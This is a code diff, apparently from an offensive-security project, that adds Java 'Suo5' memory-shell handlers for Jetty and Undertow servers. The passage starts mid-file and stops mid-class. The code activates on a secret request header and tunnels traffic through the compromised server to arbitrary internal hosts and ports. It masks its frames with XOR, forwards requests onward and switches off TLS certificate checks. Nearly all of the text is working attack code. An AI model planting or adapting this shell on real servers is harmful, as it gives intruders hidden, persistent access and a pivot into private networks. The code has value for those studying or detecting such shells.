ActionData byte = 0x01
|
||||
ActionDelete byte = 0x02
|
||||
ActionHeartbeat byte = 0x03
|
||||
*/
|
||||
byte action = actions[0];
|
||||
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||
String redirectUrl = "";
|
||||
if (needRedirect) {
|
||||
dataMap.remove("r");
|
||||
redirectUrl = new String(redirectData);
|
||||
needRedirect = !isLocalAddr(redirectUrl);
|
||||
}
|
||||
// load balance, send request with data to request url
|
||||
// action 0x00 need to pipe, see below
|
||||
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||
conn.disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
|
||||
OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
if (action == 0x02) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) return;
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
scOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) {
|
||||
respOutStream.write(marshal(newDel()));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
scOutStream.write(data);
|
||||
scOutStream.flush();
|
||||
}
|
||||
respOutStream.close();
|
||||
return;
|
||||
} else {
|
||||
}
|
||||
|
||||
if (action != 0x00) {
|
||||
return;
|
||||
}
|
||||
// 0x00 create new tunnel
|
||||
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
|
||||
InputStream readFrom;
|
||||
Socket sc = null;
|
||||
HttpURLConnection conn = null;
|
||||
|
||||
if (needRedirect) {
|
||||
// pipe redirect stream and current response body
|
||||
conn = redirect(request, dataMap, redirectUrl);
|
||||
readFrom = conn.getInputStream();
|
||||
} else {
|
||||
// pipe socket stream and current response body
|
||||
try {
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
readFrom = sc.getInputStream();
|
||||
this.put(clientId, sc.getOutputStream());
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("connect error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
this.remove(clientId);
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
try {
|
||||
readSocket(readFrom, respOutStream, !needRedirect);
|
||||
} catch (Exception e) {
|
||||
// System.out.println("socket error " + e.toString());
|
||||
// e.printStackTrace();
|
||||
} finally {
|
||||
if (sc != null) {
|
||||
sc.close();
|
||||
}
|
||||
if (conn != null) {
|
||||
conn.disconnect();
|
||||
}
|
||||
respOutStream.close();
|
||||
this.remove(clientId);
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
readSocket(gInStream, gOutStream, true);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static HashMap collectAddr() {
|
||||
HashMap addrs = new HashMap();
|
||||
try {
|
||||
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||
while (nifs.hasMoreElements()) {
|
||||
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||
Enumeration addresses = nif.getInetAddresses();
|
||||
while (addresses.hasMoreElements()) {
|
||||
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||
String s = addr.getHostAddress();
|
||||
if (s != null) {
|
||||
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||
int ifaceIndex = s.indexOf('%');
|
||||
if (ifaceIndex != -1) {
|
||||
s = s.substring(0, ifaceIndex);
|
||||
}
|
||||
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
return addrs;
|
||||
}
|
||||
|
||||
boolean isLocalAddr(String url) throws Exception {
|
||||
String ip = (new URL(url)).getHost();
|
||||
return addrs.containsKey(ip);
|
||||
}
|
||||
|
||||
HttpURLConnection redirect(Object request, HashMap dataMap, String rUrl) throws Exception {
|
||||
String method = request.getClass().getMethod("getMethod", String.class).toString();
|
||||
URL u = new URL(rUrl);
|
||||
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||
conn.setRequestMethod(method);
|
||||
try {
|
||||
// conn.setConnectTimeout(3000);
|
||||
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||
// conn.setReadTimeout(0);
|
||||
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||
} catch (Exception e) {
|
||||
// java1.4
|
||||
}
|
||||
conn.setDoOutput(true);
|
||||
conn.setDoInput(true);
|
||||
|
||||
// ignore ssl verify
|
||||
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||
}
|
||||
|
||||
byte[] newBody = marshal(dataMap);
|
||||
Enumeration headers = ((Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request));
|
||||
Method getHeaderMethod = request.getClass().getMethod("getHeader", String.class);
|
||||
while (headers.hasMoreElements()) {
|
||||
String k = (String) headers.nextElement();
|
||||
if (k.equals("Content-Length")) {
|
||||
conn.setRequestProperty(k, String.valueOf(newBody.length));
|
||||
continue;
|
||||
} else if (k.equals("Host")) {
|
||||
conn.setRequestProperty(k, u.getHost());
|
||||
continue;
|
||||
} else if (k.equals("Connection")) {
|
||||
conn.setRequestProperty(k, "close");
|
||||
continue;
|
||||
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
|
||||
continue;
|
||||
} else {
|
||||
conn.setRequestProperty(k, ((String) getHeaderMethod.invoke(request, k)));
|
||||
}
|
||||
}
|
||||
|
||||
OutputStream rout = conn.getOutputStream();
|
||||
rout.write(newBody);
|
||||
rout.flush();
|
||||
rout.close();
|
||||
conn.getResponseCode();
|
||||
return conn;
|
||||
}
|
||||
|
||||
public boolean verify(String hostname, SSLSession session) {
|
||||
return true;
|
||||
}
|
||||
|
||||
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return new X509Certificate[0];
|
||||
}
|
||||
}
|
||||
+585
@@ -0,0 +1,585 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.suo5;
|
||||
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class Suo5JettyHandler implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
public static HashMap addrs = collectAddr();
|
||||
public static HashMap ctx = new HashMap();
|
||||
|
||||
InputStream gInStream;
|
||||
OutputStream gOutStream;
|
||||
|
||||
public Suo5JettyHandler() {
|
||||
}
|
||||
|
||||
public Suo5JettyHandler(InputStream in, OutputStream out) {
|
||||
this.gInStream = in;
|
||||
this.gOutStream = out;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object baseRequest = null;
|
||||
Object request = null;
|
||||
Object response = null;
|
||||
if (args.length == 4) {
|
||||
Object arg4 = args[3];
|
||||
baseRequest = args[1];
|
||||
if (arg4 instanceof Integer) {
|
||||
// jetty6
|
||||
request = args[1];
|
||||
response = args[2];
|
||||
} else {
|
||||
request = args[2];
|
||||
response = args[3];
|
||||
}
|
||||
} else {
|
||||
// ee10
|
||||
request = args[0];
|
||||
response = args[1];
|
||||
}
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return false;
|
||||
}
|
||||
if (contentType == null) {
|
||||
return false;
|
||||
}
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return true;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
int bufferOffset = 0;
|
||||
while (bufferOffset < b.length) {
|
||||
int readLength = b.length - bufferOffset;
|
||||
int readResult = is.read(b, bufferOffset, readLength);
|
||||
if (readResult == -1) break;
|
||||
bufferOffset += readResult;
|
||||
}
|
||||
}
|
||||
|
||||
public void tryFullDuplex(Object request, Object response) throws Exception {
|
||||
InputStream in = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
|
||||
byte[] data = new byte[32];
|
||||
readFull(in, data);
|
||||
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
out.write(data);
|
||||
out.flush();
|
||||
}
|
||||
|
||||
|
||||
private HashMap newCreate(byte s) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x04});
|
||||
m.put("s", new byte[]{s});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newData(byte[] data) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x01});
|
||||
m.put("dt", data);
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newDel() {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x02});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newStatus(byte b) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("s", new byte[]{b});
|
||||
return m;
|
||||
}
|
||||
|
||||
byte[] u32toBytes(int i) {
|
||||
byte[] result = new byte[4];
|
||||
result[0] = (byte) (i >> 24);
|
||||
result[1] = (byte) (i >> 16);
|
||||
result[2] = (byte) (i >> 8);
|
||||
result[3] = (byte) (i /*>> 0*/);
|
||||
return result;
|
||||
}
|
||||
|
||||
int bytesToU32(byte[] bytes) {
|
||||
return ((bytes[0] & 0xFF) << 24) |
|
||||
((bytes[1] & 0xFF) << 16) |
|
||||
((bytes[2] & 0xFF) << 8) |
|
||||
((bytes[3] & 0xFF) << 0);
|
||||
}
|
||||
|
||||
synchronized void put(String k, Object v) {
|
||||
ctx.put(k, v);
|
||||
}
|
||||
|
||||
synchronized Object get(String k) {
|
||||
return ctx.get(k);
|
||||
}
|
||||
|
||||
synchronized Object remove(String k) {
|
||||
return ctx.remove(k);
|
||||
}
|
||||
|
||||
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||
int newLength = to - from;
|
||||
if (newLength < 0) {
|
||||
throw new IllegalArgumentException(from + " > " + to);
|
||||
}
|
||||
byte[] copy = new byte[newLength];
|
||||
int copyLength = Math.min(original.length - from, newLength);
|
||||
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||
for (int i = 0; i < copyLength; i++) {
|
||||
copy[i] = original[from + i];
|
||||
}
|
||||
return copy;
|
||||
}
|
||||
|
||||
|
||||
private byte[] marshal(HashMap m) throws IOException {
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
Object[] keys = m.keySet().toArray();
|
||||
for (int i = 0; i < keys.length; i++) {
|
||||
String key = (String) keys[i];
|
||||
byte[] value = (byte[]) m.get(key);
|
||||
buf.write((byte) key.length());
|
||||
buf.write(key.getBytes());
|
||||
buf.write(u32toBytes(value.length));
|
||||
buf.write(value);
|
||||
}
|
||||
|
||||
byte[] data = buf.toByteArray();
|
||||
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||
dbuf.putInt(data.length);
|
||||
// xor key
|
||||
byte key = (byte) ((Math.random() * 255) + 1);
|
||||
dbuf.put(key);
|
||||
for (int i = 0; i < data.length; i++) {
|
||||
data[i] = (byte) (data[i] ^ key);
|
||||
}
|
||||
dbuf.put(data);
|
||||
return dbuf.array();
|
||||
}
|
||||
|
||||
private HashMap unmarshal(InputStream in) throws Exception {
|
||||
byte[] header = new byte[4 + 1]; // size and datatype
|
||||
readFull(in, header);
|
||||
// read full
|
||||
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||
int len = bb.getInt();
|
||||
int x = bb.get();
|
||||
if (len > 1024 * 1024 * 32) {
|
||||
throw new IOException("invalid len");
|
||||
}
|
||||
byte[] bs = new byte[len];
|
||||
readFull(in, bs);
|
||||
for (int i = 0; i < bs.length; i++) {
|
||||
bs[i] = (byte) (bs[i] ^ x);
|
||||
}
|
||||
HashMap m = new HashMap();
|
||||
byte[] buf;
|
||||
for (int i = 0; i < bs.length - 1; ) {
|
||||
short kLen = bs[i];
|
||||
i += 1;
|
||||
if (i + kLen >= bs.length) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
if (kLen < 0) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + kLen);
|
||||
String key = new String(buf);
|
||||
i += kLen;
|
||||
|
||||
if (i + 4 >= bs.length) {
|
||||
throw new Exception("value len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + 4);
|
||||
int vLen = bytesToU32(buf);
|
||||
i += 4;
|
||||
if (vLen < 0) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
|
||||
if (i + vLen > bs.length) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||
i += vLen;
|
||||
|
||||
m.put(key, value);
|
||||
}
|
||||
return m;
|
||||
}
|
||||
|
||||
private void processDataBio(Object request, Object resp) throws Exception {
|
||||
final InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
|
||||
HashMap dataMap = unmarshal(reqInputStream);
|
||||
|
||||
byte[] action = (byte[]) dataMap.get("ac");
|
||||
if (action.length != 1 || action[0] != 0x00) {
|
||||
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
|
||||
return;
|
||||
}
|
||||
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
|
||||
final OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
|
||||
// 0x00 create socket
|
||||
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
|
||||
Socket sc;
|
||||
try {
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
// Cannot convert Integer to int
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
} catch (Exception e) {
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||
|
||||
final OutputStream scOutStream = sc.getOutputStream();
|
||||
final InputStream scInStream = sc.getInputStream();
|
||||
|
||||
Thread t = null;
|
||||
try {
|
||||
Suo5JettyHandler p = new Suo5JettyHandler(scInStream, respOutStream);
|
||||
t = new Thread(p);
|
||||
t.start();
|
||||
readReq(reqInputStream, scOutStream);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("pipe error, %s\n", e);
|
||||
} finally {
|
||||
sc.close();
|
||||
respOutStream.close();
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||
byte[] readBuf = new byte[1024 * 8];
|
||||
while (true) {
|
||||
int n = inputStream.read(readBuf);
|
||||
if (n <= 0) {
|
||||
break;
|
||||
}
|
||||
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||
if (needMarshal) {
|
||||
dataTmp = marshal(newData(dataTmp));
|
||||
}
|
||||
outputStream.write(dataTmp);
|
||||
outputStream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||
while (true) {
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(bufInputStream);
|
||||
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
return;
|
||||
}
|
||||
byte action = actions[0];
|
||||
if (action == 0x02) {
|
||||
socketOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
socketOutStream.write(data);
|
||||
socketOutStream.flush();
|
||||
}
|
||||
} else if (action == 0x03) {
|
||||
continue;
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void processDataUnary(Object request, Object resp) throws
|
||||
Exception {
|
||||
InputStream is = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
|
||||
BufferedInputStream reader = new BufferedInputStream(is);
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(reader);
|
||||
|
||||
|
||||
String clientId = new String((byte[]) dataMap.get("id"));
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
|
||||
return;
|
||||
}
|
||||
/*
|
||||
ActionCreate byte = 0x00
|
||||
ActionData byte = 0x01
|
||||
ActionDelete byte = 0x02
|
||||
ActionHeartbeat byte = 0x03
|
||||
*/
|
||||
byte action = actions[0];
|
||||
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||
String redirectUrl = "";
|
||||
if (needRedirect) {
|
||||
dataMap.remove("r");
|
||||
redirectUrl = new String(redirectData);
|
||||
needRedirect = !isLocalAddr(redirectUrl);
|
||||
}
|
||||
// load balance, send request with data to request url
|
||||
// action 0x00 need to pipe, see below
|
||||
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||
conn.disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
|
||||
OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||
if (action == 0x02) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) return;
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
scOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) {
|
||||
respOutStream.write(marshal(newDel()));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
scOutStream.write(data);
|
||||
scOutStream.flush();
|
||||
}
|
||||
respOutStream.close();
|
||||
return;
|
||||
} else {
|
||||
}
|
||||
|
||||
if (action != 0x00) {
|
||||
return;
|
||||
}
|
||||
// 0x00 create new tunnel
|
||||
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
|
||||
InputStream readFrom;
|
||||
Socket sc = null;
|
||||
HttpURLConnection conn = null;
|
||||
|
||||
if (needRedirect) {
|
||||
// pipe redirect stream and current response body
|
||||
conn = redirect(request, dataMap, redirectUrl);
|
||||
readFrom = conn.getInputStream();
|
||||
} else {
|
||||
// pipe socket stream and current response body
|
||||
try {
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
readFrom = sc.getInputStream();
|
||||
this.put(clientId, sc.getOutputStream());
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("connect error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
this.remove(clientId);
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
try {
|
||||
readSocket(readFrom, respOutStream, !needRedirect);
|
||||
} catch (Exception e) {
|
||||
// System.out.println("socket error " + e.toString());
|
||||
// e.printStackTrace();
|
||||
} finally {
|
||||
if (sc != null) {
|
||||
sc.close();
|
||||
}
|
||||
if (conn != null) {
|
||||
conn.disconnect();
|
||||
}
|
||||
respOutStream.close();
|
||||
this.remove(clientId);
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
readSocket(gInStream, gOutStream, true);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static HashMap collectAddr() {
|
||||
HashMap addrs = new HashMap();
|
||||
try {
|
||||
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||
while (nifs.hasMoreElements()) {
|
||||
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||
Enumeration addresses = nif.getInetAddresses();
|
||||
while (addresses.hasMoreElements()) {
|
||||
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||
String s = addr.getHostAddress();
|
||||
if (s != null) {
|
||||
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||
int ifaceIndex = s.indexOf('%');
|
||||
if (ifaceIndex != -1) {
|
||||
s = s.substring(0, ifaceIndex);
|
||||
}
|
||||
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
return addrs;
|
||||
}
|
||||
|
||||
boolean isLocalAddr(String url) throws Exception {
|
||||
String ip = (new URL(url)).getHost();
|
||||
return addrs.containsKey(ip);
|
||||
}
|
||||
|
||||
HttpURLConnection redirect(Object request, HashMap dataMap, String rUrl) throws Exception {
|
||||
String method = request.getClass().getMethod("getMethod", String.class).toString();
|
||||
URL u = new URL(rUrl);
|
||||
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||
conn.setRequestMethod(method);
|
||||
try {
|
||||
// conn.setConnectTimeout(3000);
|
||||
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||
// conn.setReadTimeout(0);
|
||||
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||
} catch (Exception e) {
|
||||
// java1.4
|
||||
}
|
||||
conn.setDoOutput(true);
|
||||
conn.setDoInput(true);
|
||||
|
||||
// ignore ssl verify
|
||||
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||
}
|
||||
|
||||
byte[] newBody = marshal(dataMap);
|
||||
Enumeration headers = ((Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request));
|
||||
Method getHeaderMethod = request.getClass().getMethod("getHeader", String.class);
|
||||
while (headers.hasMoreElements()) {
|
||||
String k = (String) headers.nextElement();
|
||||
if (k.equals("Content-Length")) {
|
||||
conn.setRequestProperty(k, String.valueOf(newBody.length));
|
||||
continue;
|
||||
} else if (k.equals("Host")) {
|
||||
conn.setRequestProperty(k, u.getHost());
|
||||
continue;
|
||||
} else if (k.equals("Connection")) {
|
||||
conn.setRequestProperty(k, "close");
|
||||
continue;
|
||||
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
|
||||
continue;
|
||||
} else {
|
||||
conn.setRequestProperty(k, ((String) getHeaderMethod.invoke(request, k)));
|
||||
}
|
||||
}
|
||||
|
||||
OutputStream rout = conn.getOutputStream();
|
||||
rout.write(newBody);
|
||||
rout.flush();
|
||||
rout.close();
|
||||
conn.getResponseCode();
|
||||
return conn;
|
||||
}
|
||||
|
||||
public boolean verify(String hostname, SSLSession session) {
|
||||
return true;
|
||||
}
|
||||
|
||||
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return new X509Certificate[0];
|
||||
}
|
||||
}
|
||||
+571
@@ -0,0 +1,571 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.suo5;
|
||||
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class Suo5UndertowServletHandler implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
public static HashMap addrs = collectAddr();
|
||||
public static HashMap ctx = new HashMap();
|
||||
|
||||
InputStream gInStream;
|
||||
OutputStream gOutStream;
|
||||
|
||||
public Suo5UndertowServletHandler() {
|
||||
}
|
||||
|
||||
public Suo5UndertowServletHandler(InputStream in, OutputStream out) {
|
||||
this.gInStream = in;
|
||||
this.gOutStream = out;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
try {
|
||||
Object servletRequestContext = null;
|
||||
if (args.length == 2) {
|
||||
servletRequestContext = args[1];
|
||||
} else {
|
||||
servletRequestContext = args[2];
|
||||
}
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return false;
|
||||
}
|
||||
if (contentType == null) {
|
||||
return false;
|
||||
}
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return true;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
